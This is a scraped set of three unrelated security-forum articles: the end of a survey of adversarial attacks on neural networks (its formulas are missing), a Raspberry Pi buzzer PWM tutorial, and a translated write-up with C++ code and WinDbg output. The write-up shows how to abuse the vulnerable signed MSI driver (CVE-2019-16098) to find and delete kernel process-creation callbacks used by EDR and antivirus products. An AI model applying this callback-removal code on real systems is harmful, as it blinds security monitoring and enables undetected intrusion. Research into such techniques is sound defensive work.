设激活函数为线性函数，对抗扰动导致激活函数增加了一部分，只要其中的扰动满足最大范数约束，就可以最大限度地增加对抗干扰，若权重向量的维数是n，则激活函数会相比于扰动之前增加emn，又由于扰动不会随着维数的增加而增加，但是却能引起激活函数值线性增加，换句话说，对于高维情况，输入的极小扰动会引起输入很大的改变。
此外，[20]认为数据流形的高维几何结构产生了对抗样本，[21]则发现记忆能力强的模型更容易受到对抗样本攻击，这些解释并不完全合理，限于篇幅，不再介绍，感兴趣的话可以自行查阅相关资料。
### 可迁移性
我们知道对抗样本具有可迁移性，事实上，可迁移性可以进一步细分为以下三类：
**不同模型间**
在同一数据集的不同子集下训练的不同模型之间存在可迁移性，如VGG和ResNet之间
**不同任务间**
对抗样本在执行不同任务的模型之间也存在可迁移性，如语义分割、图像分割、目标检测等任务之间
**不同技术间**
对抗样本在不同机器学习技术之间，比如SVM和DNN之间存在迁移性
对抗样本可迁移性的程度与以下因素有关：
**对抗程度**
[18]指出误分类率高的对抗样本其可迁移性反而较差
**模型类型**
[19]指出神经网络、k近邻这类机器学习技术，其对抗样本在跨技术的模型中迁移性更强；而线性回归、支持向量机、决策树等方法，其生成的对抗样本在相同技术模型内的可迁移性更强
**攻击类型**
[17]指出执行非定向攻击得到的对抗样本其可迁移性比进行定向攻击得到的对抗样本更强
**统计规律**
[16]指出在同一数据集上训练的不同模型间的可迁移性较强，因为这些模型学习的是相同的统计信息，所以会被同一对抗样本欺骗
### 评估
生成对抗样本的方案这么多，那么怎么对其进行评估呢？一般我们主要考虑以下方面
**误分类**
对抗样本的产生就是为了让模型对其误分类，所以评估误分类是首要的，这方面主要考虑两个指标，一个是误分类率，即能够成功欺骗模型的样本数占总样本数的比例，另一个是误分类置信度，其表示成本使模型误分类的对抗样本输入模型时，模型给出的置信度水平。
**隐蔽性**
对抗样本在让模型误分类的同时还需要确保人类不会发觉，所以需要衡量其隐蔽性，一般使用Lp范数进行度量。
**鲁棒性**
对抗样本在实际应用过程中可能会受到各种因素干扰，所以需要评估此时对抗样本的鲁棒性，一种常见的做法就是对其进行处理，如加噪声、压缩等，测试处理后的对抗样本是否仍能被模型误分类。
**效率**
不同方案对攻击能力、知识等要求不同，在生成对抗样本的时间、资源要求上也不一样，这也是需要考虑的一方面。
## 攻击
根据攻击的目标可以分为定向攻击和非定向攻击，根据攻击频率可以分为单步攻击和迭代攻击，根据攻击攻击者的知识，将攻击分为白盒、灰盒、黑盒。
在黑盒模型中，攻击者仅能与模型进行交互，得到样本的预测结果，然后使用成对的数据集(样本，预测结果)等训练替代分类器，在替代分类器上进行对抗攻击，由于对抗样本的可迁移性，由此生成的对抗样本可以对目标模型实现攻击。对抗样本在不同模型间的迁移能力或者说泛化能力是对抗扰动与模型的
在灰盒模型中，攻击者除了可以与模型交互外，还知道模型的结构或者攻击者知识的部分，此时攻击者可以利用已知的结构信息构造更精确的替代分类器，然后进行攻击，显而易见，其攻击性能优于黑盒模型。
在白盒模型中，攻击者知道模型的全部信息，所以其攻击效果是最强的。
## 典型对抗攻击算法
### L-BFGS
[1]首先发现某些人类难以察觉的扰动会引起模型对图片的错误分类，并提出一种称为L-BFGS的方法，通过最小化Lp范数找到这种扰动，公式为：
但是该问题不易求解，所以使用最小化混合损失，即用下式来替代求解
并通过线性搜索找到最优解
作者实验中给出的的生成的对抗样本如下
### FGSM
[2]通过在原样本的L_infty范数限制下生产对抗样本，这是一种典型的一步攻击算法，通过沿着对抗损失函数的梯度方向(符号方向)执行一步更新，以增加最陡峭方向上的损失，其公式如下
这本身是一种非定向攻击，通过降低
的梯度就可以实现定向攻击，此时的梯度更新可以表示为：
作者在论文中给出的就是最为人熟知的对抗样本了
后面介绍的*-FGSM都属于对FGSM的改进。
### I-FGSM
[3]通过一个迭代优化器优化多次提高FGSM的性能，它以较小的步长执行FGSM，并将更新后的对抗样本裁减到有效范围内，通过这种方式迭代T次即可
在第n次迭代得到的对抗样本如下：
### MI-FGSM
[4]将动量项添加到攻击的迭代过程中,这有利于加快收敛速度、使更新方向更加平稳,并在迭代期间能够从较差的局部最大值中逃脱,从而达到更好的攻击效果.以如下方式迭代更新对抗样本：
其中的梯度通过下式进行更新
### DI-FGSM
[23]采用了多种输入模式来提高对抗样本的可传递性，名字中的D代表了随机的变换。其迭代方式类似于I-FGSM，其第n次迭代得到的对抗样本为：
上式中的T为随机转换函数，定义如下
此外，我们知道，动量和多样化的输入是缓解过拟合现象的两种完全不同的方式，所以可以将其结合起来，在这里可以用下式替换MI-FGSM中的梯度更新公式，就可以实现攻击
### JSMA
[6]提出了基于雅克比的显著性图方法，利用雅克比矩阵，计算从输入到输出的显著图，因此只修改一小部分的输入特征就能达到改变输出结构的目的.
它利用较小的L0扰动生成对抗样本，首先在softmax层之前计算logit层输出的l(x)的雅克比矩阵：
这可以表示输入x的各个分量如何影响不同类别的logit层输出。根据上式计算对抗性显著图S()以选择需要扰动的像素，从而在logit层的输出得到所需的变化
选择扰动具有最大S()的像素，从而增加目标类别的logit层输出或者减少其他类别的logit层输出，实现对抗攻击的目的。如下所示，是LeNet的784维输入的显著映射，784=28*28，仅需选择那些较大的绝对值进行扰动就可以实现对抗效果，因为较大的绝对值对应于对输入有较大影响的特征。
针对全黑的图，该算法生成的目标类别为0到9的对抗样本如下所示
### C&W
[5]是一种基于优化的攻击方式，同时兼顾高攻击准确率和低对抗扰动的两个方面，达到真正意义上对抗样本的效果，即在模型分类出错的情况下，人眼不可查觉（相比之前FGSM等方法攻击生成的图片非常模糊，人眼可以察觉到）。它可以生成L0,L2,L_infty范数限制下的对抗样本CW0,CW2，CW_infty,其不使用如下所示，也就是之前流行的优化目标函数：
而是使用该优化目标函数作为替代：
式子中的D是距离度量，f是自定义的对抗损失，只有当模型的预测为攻击目标时才满足f<=0，另外上式中的扰动表示如下
这是为了确保生成的对抗样本是有效的图像
对MNIST数据集应用L_infty范数，进行定向攻击，结果如下
### PGD
[11]从鲁棒性优化的角度研究了神经网络的对抗鲁棒性，使用了一种natural saddle point (min-max)
公式来定义对对抗攻击的安全性。这个公式将攻击和防御放到了同一个理论框架中，使得我们对攻击和防御的性能有了良好的量化.作者对此鞍点公式相对应的优化场景进行了仔细的实验研究，提出了PGD这个一阶方法（利用局部一阶信息）来解决这个问题。鞍点问题如下所示
这个鞍点问题并不是那么容易解决。该问题涉及到出处理一个非凸的外部最小化问题和一个非凹的内部最大化问题。作者正是使用PGD解决最大化问题，其用下式生成对抗样本
PGD是非常强的first-order攻击，能防御PGD的网络，就可以防御其他任何first-order攻击，所以在防御时很多工作都会用PGD进行对抗训练。针对MNIST训练集做的实验表明，PGD明显优于在PGD之前提出的对抗攻击方案：
### Deepfool
[7]通过寻求当前的点在高维空间中离所有非真实类的决策边界中最近的一个，来作为攻击后的类，不过需要注意的是，这是一种贪心算法，并不能保证收敛到最优扰动，其通过下式迭代计算扰动
该方法只需将问题变为计算从x到所有类之间的决策边界所形成的凸多面体P表面的距离，就可以用于攻击多分类器。
下表是在不同分类器上做的比较，表中的引用文献4，18分别是本文中的[2],[1]
从表中可以看到，Deepfool的扰动是最小的
### ATN
[24]以自监督的方式训练前馈神经网络以生成对抗样本，其优化目标为：
上式中的g就是我们需要的网络，输入原图像，输出对抗样本，即
在该研究汇中，将Ly,t定义为
上式中的r(y,t)表示为
下图是对MNIST数据集0~9类分别对另外9个目标类的定向攻击，生成的对抗样本
## 实战
这部分给出几种流行的对抗攻击算法针对同一原样本实现的对抗攻击，为了便于比较，同时打印出lp范数、原样本、对抗样本以及加入的对抗扰动
### L-BFGS
### FGSM
### I-FGSM
### MI-FGSM
### C&W
### ILCM[17]
### PGD
## 防御
防御技术可以分为启发式和可证明式，启发式防御是指对某些特定攻击具有良好性能，但是没有给出防御性能的理论性保障，对抗训练就是其中的典型代表，已有的研究表明，对抗训练可以在多个数据集上抵御各种L_infiy攻击，其防御是最好的。而可证明式防御在明确知道对抗攻击类别的情况下，可证明式防御能够计算模型输出的最低精度。比如最近流行的可证明式防御是制定对抗性多面体，并通过凸松弛来限制它的上界。宽松弛过后的上界可以作为已训练模型的一个保障，它可以证明在限定的限制条件下，没有任何攻击可以超过该上界对应的攻击成功率。但是这些可证明式防御措施的实际性能仍然比对抗训练的性能差很多。相关细节不再赘述，安全客也有相关文章(“如何防御对抗攻击”)可以参考。
## 参考
1.Intriguing properties of neural networks
2.Explaining and harnessing adversarial examples
3.Adversarial examples in the physical world
4.Boosting adversarial attacks with momentum
5.Towards evaluating the robustness of neural networks
6.The limitations of deep learning in adversarial settings
7.DeepFool: a simple and accurate method to fool deep neural networks
8.EAD: elastic-net attacks to deep neural networks via adversarial examples
9.Adversarial examples in the physical world
10.Ensemble Adversarial Training: Attacks and Defenses
11.Towards Deep Learning Models Resistant to Adversarial Attacks
12.Universal Adversarial Perturbations
13.Decision Boundary Analysis of Adversarial Exam- plesa
17.Adversarial Machine Learning at Scale
18.Spatially Transformed Adversarial Examples
19.Transferability in Machine Learning: from Phenomena to Black-Box Attacks
using Adversarial Samples
20.Adversarial Spheres
21.A Closer Look at Memorization in Deep Networks
22.Practical Black-Box Attacks against Machine Learning
23.Improving Transferability of Adversarial Examples with Input Diversity
24.Adversarial transformation networks: Learning to generate adversarial
examples
25.Zoo: Zeroth order optimization based black-box attacks to deep neural
networks without training substitute models | 社区文章 |
# 【技术分享】初玩树莓派B（三） 控制蜂鸣器演奏乐曲
|
##### 译文声明
本文是翻译文章，文章来源：IamHuskar@看雪论坛
原文地址：<http://bbs.pediy.com/showthread.php?t=212916>
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[**【技术分享】初玩树莓派B（一） 基本介绍
&安装操作系统**](http://bobao.360.cn/learning/detail/3085.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口) &GPIO操作点亮LED灯**
****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（四） 人体红外感应报警
&物联网温湿度监控**](http://bobao.360.cn/learning/detail/3096.html)
步进电机以及无源蜂鸣器这些都需要脉冲信号才能够驱动，这次尝试用GPIO的PWM接口驱动无源蜂鸣器弹奏一曲《一闪一闪亮晶晶》。
**无源蜂鸣器和有源蜂鸣器**
主要是当初我自己也没有意识到蜂鸣器还区分有源和无源的，买到手接上电源，就是不出声，这才发现我买的蜂鸣器是无源的蜂鸣器。
**无源蜂鸣器：**
1\. 无源内部没有震荡源，直流信号无法让它鸣叫。必须用去震荡的电流驱动它，2K-5KHZ的方波PWM (Pulse Width
Modulation脉冲宽度调制)。
5KHZ的电流方波是啥意思？那就是每秒震动5K次，每一个完整的周期占用200us的时间，高点平占一部分时间，低电平占一部分时间。
2\. 声音频率可控，可以做出不同的音效。
**有源蜂鸣器：**
内部带震荡电路，一通电就鸣叫，所以可以跟前面LED一样，给个高电平就能响，编程比无源的方便。
无源的比有源的便宜，无源的2毛，有源的4毛。我买的无源蜂鸣器，该蜂鸣器阻抗42欧姆 ，可以用3V 和5V的来驱动。树莓派高电平恰好是3.3V。
在这之前我根本不懂还区分有源和无源蜂鸣器，才有后续的曲折和摸索。
这种蜂鸣器正负极有很明显的标记 + -。
**PWM和输出模式**
单纯和上次一样操作设置GPIO口的高低是没法实现输出PWM的。好在树莓派的某些PIN口有这种模式，那就是PIN12口。可以通过控制PIN12口的PWM模式来实现。就理解为方波把。由于pygpio暂不支持操作硬件的PWM。这里我们用wiringpi库。
wiringPi中的pinMode (1,PWM_OUT),可以设置模式。PIN12是wiringpi的1号。
图中t(pwm)就是一个周期的时间长度。对于2K频率来说，那么周期就是1S/2K=500us。图中的D叫做占空比。指的是高电平的时间占用整个周期时间的百分比。第一个周期D=50%，那么就是高电平低电平的时间各占一半。接下来的D为33%，那就是通电时间为33%，剩余的不通电时间占用67%。
占空比的确会影响频率，但是我没有具体去探究会如何影响频率。我测试的时候使用的占空比是50%，也就是高低电平各占用一半的时间。
由于可以参考的例子是在太少了。只能自己翻芯片手册查找相关资料。具体的相关资料在BCM2835芯片手册的第九章（具体翻阅手册查看，真是最好的办法）。阅读这一章以后我得出的关键点有如下几点：
1\. PWM的频率是受时钟管理器控制的，（树莓派的基础时钟频率是19.2MHZ）。
2\. PWM的输出占空比模式有两种，一种是平衡模式，一种是MS模式。
先看占空比中的平衡模式和MS模式，假设我们希望输出的占空比为 N/M。
平衡模式是指的按照某一种算法计算何时发送低电平，何时发送高电平，该算法力求任意一段时间占空比都最接近N/M，下图是（4/8的时候的几种发送方式），很显然good的算法任意取得一段时间都更加接近4/8。
M/S模式就是整个S周期内，先发送M时间的高电平，剩余的S-M时间为低电平。
因此如果是4/8的占空比。
M/S模式8个时间长度内发送的就是 11110000 （周期为8个时间长度）。 而平衡模式则是 10101010（可以说最小周期为2个时间长度，大的周期为
8个时间长度）。
可能看不懂没关系。用图来解释更有说服力。
假设我们需要的频率为5KHZ，那么周期时间就是1s/5000hz=200us。设定占空比为 0.5
也就是高低电平各占一半，那么需要高电平占100us，低电平占100us。
如果是平衡模式。一个大周期内(200us)波形图看起来如下
也就是这个大周期内，任意取一段时间占空比都接近0.5，其实实际频率比5K要大几倍。
如果是MS模式。则看起来如下：
显然这个才是我们需要的标准的5K频率。因为这个模式最小频率就是200us了。
wiringPi中的pwmSetMode (PWM_MODE_MS) 可以设置为ms模式。
前面说到树莓派基础时钟频率是19.2MHZ。pwm也受这个基础频率的控制，也就是最小的基础周期是1/19200000
S。这个周期太小了，我们控制蜂鸣器需要2-5K的频率。我们先将基础频率调大一些。通过pwmsetClock(int clock)可以将时钟基础频率设置为
19.2M/clock的大小。然后我们再基于这个频率通过pwmsetRasnge(int range)设置最终的频率，range的范围是2-4095。
通过pwmsetClock(clock)以及pwmsetRasnge(range)将最终的频率控制在 19.2MHz/clock/range的大小。
这里我设置clock为32 将时钟基础频率设置为19.2MHZ/32=600khz。
这样我们只要设置range从300到120就能得到2k-5k的频率。
那如何设置占空比呢?还有一个函数pwmWrite(value)。value指定了range指定的时间内发送高电平的基础周期个数（以时钟基础频率计算）。因此value/range就是占空比。pwmWrite(range/2)就能得到50%的占空比。range/5
就得到20%占空比。如果设置value为0，那么就是这段时期内一直是低电平，没有任何高电平，蜂鸣器就不发声了。
验证一下如下图。
50% （range/2）
20% (range/5)
因此我们可以初始化里面这么写
代码:
void init()
{
if (wiringPiSetup () == -1)
exit (1) ;
//设置针脚为pwm输出模式
pinMode (1, PWM_OUTPUT) ;
//设置pwm 信号模式为ms模式
pwmSetMode(PWM_MODE_MS);
//设置时钟基础频率为19.2M/32=600KHZ
pwmSetClock(32);
}
为了后续能弹奏不同频率的音阶。封装一个beep函数以及beep的持续时间。
代码:
void beep(int freq,int t_ms)
{
int range;
if(freq<2000||freq>5000)
{
printf("invalid freq");
return;
}
//设置range为 600KHZ/freq。也就是由range个1/600KHZ组成了freq频率的周期。
range=600000/freq。
pwmSetRange(range);
//设置占空比为50%。
pwmWrite(1,range/2);
if(t_ms>0)
{
delay(t_ms);
}
}
通过delay来控制延时。
通过 pwmWrite(1,0)来关闭输出。
剩下的就是查找 一闪一闪亮晶晶的简谱。对应设定好频率和持续时间。随后循环播放出来就可以了。
这里就只截图，具体代码下载pwm.c查看。
接线图如下。BCM标号1（PIN12 ）接无源蜂鸣器的正极。负极接GND，为了接线方便。我买了扩展版和排线哦。（第一次错买了树莓派2的40
PIN，第二次卖家给我发错货了。第三次才买到，也是坎坷）。
编译执行
gcc -o pwm pwm.c -lwiringpi
sudo ./pwm
就可以听到播放曲谱了。
建议不要多听。因为2K-5K的频率对于人的耳朵实在是有点高了，听多了刺耳心慌。
学会了pwm就可以控制一些需要脉冲波控制的外部设备了。
有人会说,设置GPIO为输出模式。
PinWrite(1);
sleep(100us);
pinWrite(0);
sleep(100us);
这样不是也行吗？
的确这样是可以的,但是CPU占用的资源很高。使用python的话时间控制更是不精准，因此既然有硬件的PWM模块我们还是使用一下这个功能把。
其实我没想本节这么复杂的。以为蜂鸣器接上电源就会响。不过省了两毛钱的同时还让我学到了更多的东西。有时候网上查不到的一些东西，就需要自己认认真真查看相关资料测试。还有就是硬件比软件麻烦多了。
下一节是人体感应器，感应到人体以后配合蜂鸣器报警。
**附件**
<https://yunpan.cn/cvuH4WjXKpUsv>（提取码：a3d4）
****
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[**【技术分享】初玩树莓派B（一） 基本介绍
&安装操作系统**](http://bobao.360.cn/learning/detail/3085.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口) &GPIO操作点亮LED灯**
****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（四） 人体红外感应报警
&物联网温湿度监控**](http://bobao.360.cn/learning/detail/3096.html) | 社区文章 |
# 使用签名驱动移除内核回调
##### 译文声明
本文是翻译文章，文章原作者 br-sn，文章来源：br-sn.github.io
原文地址：<https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
创建该PoC的目的是了解驱动漏洞利用程序的强大功能，以及EDR如何使用内核回调以防止恶意软件的攻击。
在代码中会用到一个Barakat发现并公开了的驱动程序漏洞，并将其分配为[CVE-2019-16098](https://github.com/Barakat/CVE-2019-16098
"CVE-2019-16098")。它是一个经过签名的MSI驱动程序，可以读取和写入完整的内核内存，事实证明这对攻击者极为有用，并且可以对整个系统造成危害。
PoC可以以低特权用户身份获取SYSTEM CMD的功能。
而引起我对CVE-2019-16098的注意，也是因为这篇[博文](https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/ "该博文")，该博文使用了该漏洞从LSASS进程中删除了PPL( Protected
Process Light)保护。
除了上述文章外介绍的删除PPL外，我们还需要枚举系统回调。这里还有一篇SpectreOps Matt
Hands的[文章](https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
"文章")深入探讨了Mimikatz的驱动程序Mimidrv。通过这篇文章，可以对枚举回调有了更深的理解。
我还可以推荐克里斯托弗·韦拉（Christopher
Vella）在CrikeyCon[视频(需要翻墙)](https://www.youtube.com/watch?v=85H4RvPGIX4
"演示文稿")的“反向和旁路EDR”，它很好地说明了回调例程，并提供了有关EDR内部工作方式的概述。
## 驱动和内核内存
大多数阅读这篇文章的人可能已经知道，Windows中的内存空间主要分为Userland内存和Kernel内存。当用户创建一个进程时，内核将管理该进程的虚拟内存空间，从而使其只能访问自己的虚拟地址空间，该地址仅对该进程可用。使用内核内存，情况有所不同。系统上的每个驱动程序都没有相互隔离的地址空间-**它们是共享内存的** 。 MSDN这样说：
所有在内核模式下运行的代码共享一个虚拟地址空间。这意味着内核模式驱动程序不会与其他驱动程序以及操作系统本身隔离。如果内核模式驱动程序意外地写入了错误的虚拟地址，则可能会破坏属于操作系统或其他驱动程序的数据。如果内核模式驱动程序崩溃，则整个操作系统崩溃。
当然，这会给这些驱动程序的开发人员以及防止加载任何驱动程序的操作系统造成很大的负担。因此，Microsoft对可以在系统上加载哪些驱动程序进行了严格限制。首先，加载驱动程序的用户需要具有权限-**SELoadDriverPrivilege** 。默认情况下，这仅授予管理员，这是有充分理由的。就像 **SeDebugPrivilege**
一样，不应轻易授予此特权。这里有一篇Tarlogic的[文章](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
"这篇文章")介绍了如何通过这些权限以在系统上获得更高的权限。
其次，Microsoft从版本1607开始,所有Windows
10版本的驱动程序会被[要求签名](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later- "签名要求")。这意味着任何启用了安全启动的最新工作站或服务器都不会加载未签名或签名无效的驱动程序。问题解决了吧？
不幸的是，软件是由人编写的，并且人会犯错误。签名驱动程序也是如此。即使要求在加载驱动程序之前对其进行签名，攻击者也可以找到一个已签名的驱动程序，且该驱动存在允许任意读取/写入内核内存漏洞。
Micro-Star MSI Afterburner
4.6.2.15658驱动程序恰恰具有[这些](https://github.com/Barakat/CVE-2019-16098 "这些")漏洞。
还有许多其他已签名的驱动程序可供使用，一些游戏黑客论坛收集了这些驱动程序和存在的漏洞的列表。由于目前尚无停止有效签名驱动的方法，因此在相当长的一段时间内，加载并且利用这些存在漏洞的签名驱动程序似乎是一种有效的技术。
## 回调例程
当Microsoft在2005年推出Kernel Patch
Protection（称为PatchGuard）时，它严重限制了第三方Antivirus供应商使用Kernel Hook来检测和防止系统上的恶意软件的选择。
从那时起，这些供应商不得不更多地依赖于内核回调函数系统来通知事件。 有很多已记录和未记录的回调函数。 我们最感兴趣的函数是：
* PsSetLoadImageNotifyRoutine
* PsSetCreateThreadNotifyRoutine
* PsSetCreateProcessNotifyRoutine
* CmRegisterCallbackEx
* ObRegisterCallbacks
除了用于[注册表回调](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex "注册表回调")的
**CmRegisterCallbackEx** 和用于[对象创建回调](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks "对象创建回调")的
**ObRegisterCallbacks** 之外，其他都是可以通过函数名字理解函数的功能。
在本文中，我将重点介绍进程创建回调例程- **PsSetCreateProcessNotifyRoutine** 。
## 找到进程回调函数
简而言之，驱动程序可以注册一个在系统上每次创建新进程时都会调用的回调函数。 这些函数被注册并存储在称为
**PspCreateProcessNotifyRoutine** 的数组中，该数组最多包含64个回调函数。 Matt
Hand使用Windbg[逐步说明](https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
"逐步说明")了如何根据[Mimidrv源代码](https://github.com/gentilkiwi/mimikatz/blob/master/mimidrv/kkll_m_notify.c
"Mimidrv源代码")为每个已注册的回调函数查看此数组以及如何确定每个回调函数将其解析为哪个驱动程序。
概括来说，这些步骤是：
1.利用字节匹配的方式在 **PsSetCreateProcessNotifyRoutine** 和 **IoCreateDriver** 的地址之间搜索
2.这些字节在未文档化的 **PspSetCreateProcessNotifyRoutine** 的函数开头（请注意名称中的额外“ p”）。
3.在此未文档化的函数中，我们看到对目标数组的引用： **PspCreateProcessNotifyRoutine** 。
在Windbg中，它看起来像这样：
lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408 mov qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410 mov qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418 mov qword ptr [rsp+18h],rsi
fffff802`235537df 57 push rdi
fffff802`235537e0 4154 push r12
fffff802`235537e2 4155 push r13
fffff802`235537e4 4156 push r14
fffff802`235537e6 4157 push r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20 sub rsp,20h
fffff802`235537ec 8bf2 mov esi,edx
fffff802`235537ee 8bda mov ebx,edx
fffff802`235537f0 83e602 and esi,2
fffff802`235537f3 4c8bf1 mov r14,rcx
fffff802`235537f6 f6c201 test dl,1
fffff802`235537f9 0f85e7f80b00 jne nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6 test esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000 je nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000 mov edx,20h
fffff802`2355380c e8df52a3ff call nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0 test eax,eax
fffff802`23553813 0f8490f90b00 je nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3 mov rdx,rbx
fffff802`2355381c 498bce mov rcx,r14
fffff802`2355381f e8a4000000 call nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8 mov rdi,rax
fffff802`23553827 4885c0 test rax,rax
fffff802`2355382a 0f8483f90b00 je nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db xor ebx,ebx
fffff802`23553832 4c8d2d6726dbff lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea rcx,[rbx*8]
fffff802`23553841 4533c0 xor r8d,r8d
fffff802`23553844 4903cd add rcx,r13
我遇到了一些奇怪的技术问题，这些问题很可能是由于我通常在编码方面的能力不足，所以我采取了更快捷的方法：我在Windows 10版本1909上计算了导出函数
**PsSetCreateProcessNotifyRoutine**
的偏移量，并且在两台机器上测试还是比较稳定的。但因为Windows不同版本之间的偏移似乎有所变化，我将把系统1909到2004其版本间进行更新，直到可以使按照字节来进行匹配，直到正确为止。
找到进程创建回调例程指针的数组后，它们所指向的内存地址可以按以下方式计算，如Matt[所述](https://posts.specterops.io/mimidrv-in-depth-4d273d19e148 "所述")：
1.删除指针地址的最后4位
2.跳过结构的前8个字节
结果地址是每当创建进程时将调用的地址。使用该地址，我们可以准确地计算出该部分内存中加载了哪个驱动程序，并查看在我们的进程创建中和哪个驱动程序关联。
如果要枚举并删除现有的回调，则需要在程序中复制这些步骤。我将假定易受攻击的驱动程序已经加载，并且我们具有可靠的内存读取和写入功能。
我们首先使用 **EnumDeviceDrivers**
（）来检索内核基地址。可以用Medium完整性进程用于检索内核基址，因为这通常是要返回的第一个地址。尽管不是100％可靠，但是到目前为止我还没有遇到任何问题。
DWORD64 Findkrnlbase() {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return NULL;
了解了内核基础之后，我们现在可以使用LoadLibrary（）加载 **ntoskrnl.exe** 并使用 **GetProcAddress（）**
查找某些导出函数的地址。
我们将从已加载的内核库（ntoskrnl.exe）计算这些函数的偏移量，并根据内存中的当前当前内核基址来计算这些函数在内存中的当前内存地址。
这个想法和代码基于RedCursor的PPLKiller代码：
const auto NtoskrnlBaseAddress = Findkrnlbase();
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;
现在让我们计算 **PspCreateProcessNotifyRoutine** 的回调数组的在Windows 1909系统上的偏移量。
lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0 ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0 ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0 ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0 ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0 ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0 ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00 00000000`00000000 00000000`00000000
fffff802`23305f10 00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0 d233c28a`28ec8348
在此版本的Windows中，回调数组似乎位于 **PsSetCreateProcessNotifyRoutine + 0x24D810** 中。
现在，让我们使用MSI驱动程序和该驱动程序利用程序的作者提供的内存读取功能，来检索和列出这些回调例程。 我们还添加了功能以指定要删除的回调函数：
const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {
DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));
if (callback != NULL) {//only print actual callbacks
callback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8
DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);
FindDriver(cbFunction);
if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.
Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));
WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);
}
}
}
FindDriver函数需要做更多的工作，并且可能是整个代码库中最差的代码，但是它可以工作……我们基本上再次使用EnumDeviceDrivers，遍历驱动程序地址，存储比回调函数地址低的地址，然后找到最小的地址，再找到区别最小的那段。
是的，我知道…我不会在这里列出来，如果您想了解更多，可以随时在代码库中查看它。
太好了-现在我们已经实现了以下目标：
1.我们在内存中找到数组
2.我们可以列出将被通知的函数地址
3.我们可以确切地看到这些功能存在于哪些驱动程序中
4.我们可以删除特定的回调
是时候测试一下了！
现在，我知道Avast并不是真正的EDR，但是它使用内核驱动程序并注册进程通知回调，因此非常适合我们的演示。
在此设置中，我使用的是Win1909 x64（操作系统内部版本18363.959）。 使用Windbg，我的内核回调如下所示：
lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0 ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0 ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0 ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0 ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0 ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0 ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00 00000000`00000000 00000000`00000000
